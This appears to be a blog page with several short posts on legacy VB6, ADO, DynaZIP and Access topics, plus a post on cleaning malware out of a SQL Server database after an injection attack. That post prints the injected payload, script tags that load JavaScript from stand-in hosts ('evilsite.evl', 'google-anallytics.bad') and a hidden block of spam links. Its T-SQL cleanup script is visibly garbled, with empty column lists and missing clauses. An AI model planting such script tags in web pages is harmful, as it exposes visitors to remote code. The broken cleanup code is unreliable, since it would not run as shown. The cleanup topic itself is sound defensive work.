Passing Command Line Arguments to a VB6 program on Windows 7/8


My long national nightmare is over!

Back in the late 90s, I wrote a fax viewer program for my then employer, now client.  It was written in VB6 and has been running  without incident on their fleet of XP machines for well over a decade.

We started to migrate off XP and the fax viewer worked fine, but our ability to “launch by association” went away.  We could open the fax viewer, navigate to our folder full of faxes, open one up and do our thing; but double-clicking on a fax no longer opened the fax up automatically.

The command line was being passed just fine, but for whatever reason, the app just wouldn’t open the file.

MsgBox’s showed me the command line and it was exactly what we were passing… and so I left it as an “inconvenience” – we could still get to the fax, but not as slickly as just clicking on the link in the email.

I looked everywhere – thinking it had to do with security contexts, that the UAC was getting in the way of blahdy-blahdy-blah, I had no idea what.  I didn’t stay up on the intricacies of how the security models changed between “Run it All, All the Time” under XP to the more restrictive security models of Vista/7/8, so I figured it had to be that, and I chalked it off.

Fast forward a bit over a year, and we’re rolling out Windows 8.1 now to the rest of the desks that hadn’t gotten Windows 7.  The fax viewer works the same way on Windows 8.1 and it still drives me nuts, so I dug back  into the code to look again, put back my MsgBox’s to look at the command line arguments at runtime, and it hit me.


WindowsXP passes the command line as C:\TEMP\MYFILE.FAX and Win7/8 passes it surrounded by quotes “C:\TEMP\MYFILE.FAX” and when I did my FileExists checking using the FileSystemObject, the check failed when it was passed the filename wrapped in quotes, so it never loaded the file.

Once I stripped out the quotes from the command-line argument, then it passed the FileExists check, loaded up the document and all was well.

Only took me 13 months, but, dammit, I figured it out!

DynaZIP OCX Installation Under Windows 7

We have a client who has an old in-house app that relies on the DynaZIP 32-Bit OCX Interface to run.  We’ve been trying to get it to run under Windows 7, but couldn’t find much info — but I happened to come across a text file from DynaZIP that had the dependencies on it, and it turned out we were missing a couple files; loaded them into SYSWOW64 and the OCXs register.

You need to make sure the following files are in your c:\windows\ syswow64 directory:

  • OC30.DLL
  • OLE2.DLL
  • DZIP32.DLL

Then open a command prompt with admin privileges and run REGSVR32 on the lot of OCXs.

ADO Problems (Error 430) with VB6 on Windows 7

Lot of numbers in that heading. 🙂

We’ve made the move to Windows 7 and we love it.  However, we haven’t really made the move to VB.NET.  I still like developing in VB6; I know that makes me a little bit of a relic, but I don’t do that much development these days to justify the investment in fully ramping up on VB.NET.

So, I had to tweak a legacy application I wrote which reads an email from a POP3 mailbox and writes the contents into a database.  The program is maybe 30 lines long, and it’s a dream thanks to the w3JMail library and ADO.

I revised the program, ran it on my Windows 7 machine, and all was right in the world.  I went to deploy it back to the Windows 2003 server where it lives, and I was hit with Error 430 errors: “Class does not support Automation or does not support expected interface”

So, after adding line numbers to the code, I was able to track the error down to the line

Set objConn = New ADODB.Connection

That seemed weird.  I tried a bunch of different ADO libraries and nothing.  Then I stumbled upon a MSKB article, with the longest, most specific title I’ve seen in recent memory: “An ADO application does not run on down-level operating systems after you recompile it on a computer that is running Windows 7 SP 1 or Windows Server 2008 R2 SP 1 or that has KB983246 installed

Long story short, if you’re running Win7 SP1 or Win08R2 SP1, then .NET breaks ADO and you need to register some new type libraries on your local machine and then recompile using those type libraries, NOT the usual ADO libraries.

The KB article shows you how to do it easily enough. Put the files where they tell you.  I had to manually navigate to the folders for some reason, but once I did, they registered up like a charm and my programs ran again.

Cleaning Up After a SQL Injection Attack, Part 2

Got a call today off our previous article in this series from Branden of Hot Media Group, Inc., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn’t match what we had written about, so he called us up. We reviewed his symptoms and were able to tweak the code we provided previously to work with this new set of issues.

We weren’t able to see how the site was attacked, nor did we worry about how the site would be steeled against future occurrence (always use stored procedures and/or parametrized queries, kids!) — this was purely a cleanup job.

This is the code we had:

SELECT, FROM sysobjects a,syscolumns b WHERE AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],'''', '''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE Table_Cursor CURSOR FOR SELECT, FROM sysobjects a,syscolumns b WHERE AND a.xtype='u' AND b.xtype=99 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),'''','''') as ntext)')
CLOSE Table_Cursor

And that worked fine, but it had some shortcomings — mostly it only stripped out a single bit of invasive code, and our new friend had quite a bit of code to deal with, so instead of the almost quaint looking malware code:

<script src="hxxp://evilsite.evl/b.js"></script>

We had this jumble of code in every ntext field in his database:

<script type='text/javascript' src='http://google-anallytics.bad/urchin.js'></script>
<div style='display:none;'><a href='http://tests4all.bad/1/'>journals on losing post-pregnancy weight</a>
<a href='http://tests4all.bad/2/'>personal trainer certification atlanta</a>
<a href='http://tests4all.bad/3/'>quit smoking water vapor rings</a>
<a href='http://tests4all.bad/4/'>eyes in the darkness</a>
<a href='http://tests4all.bad/5/'>cheated map on dota 6.54b</a>
<a href='http://tests4all.bad/6/'>occupations for bored teen boys</a>
<a href='http://tests4all.bad/7/'>cgw southeast partners ilp</a>
<a href='http://tests4all.bad/8/'>does iq tests accurately measure intelligence</a>
<a href='http://tests4all.bad/9/'>free total psychic reading</a>
<a href='http://tests4all.bad/10/'>minnesota past life regression</a>
<a href='http://tests4all.bad/11/'>date of abraham lincolns death</a>

After trying to figure out the best way to escape all the single quotes, Branden — an accomplished ColdFusion developer — suggests “why don’t we just drop everything to the right of the <script> tag?”
Continue reading Cleaning Up After a SQL Injection Attack, Part 2

Filtering Mailing Lists using Access and Outlook

In what is becoming a series, we’ll further tweak our code to allow for filtering of the query.

In the original code, we open a query directly as a recordset. This fails if the query requires some parameters.

(I’m not going to demonstrate a way to get user input and use that as the parameter. You should be able to copy and paste the code from the original user input sections of the code and modify as needed.)

To start, let’s discuss the query and it’s parameter.

In our original code, the query was just pulling a list of email addresses. For this, let’s filter that list of addresses by domain.
Continue reading Filtering Mailing Lists using Access and Outlook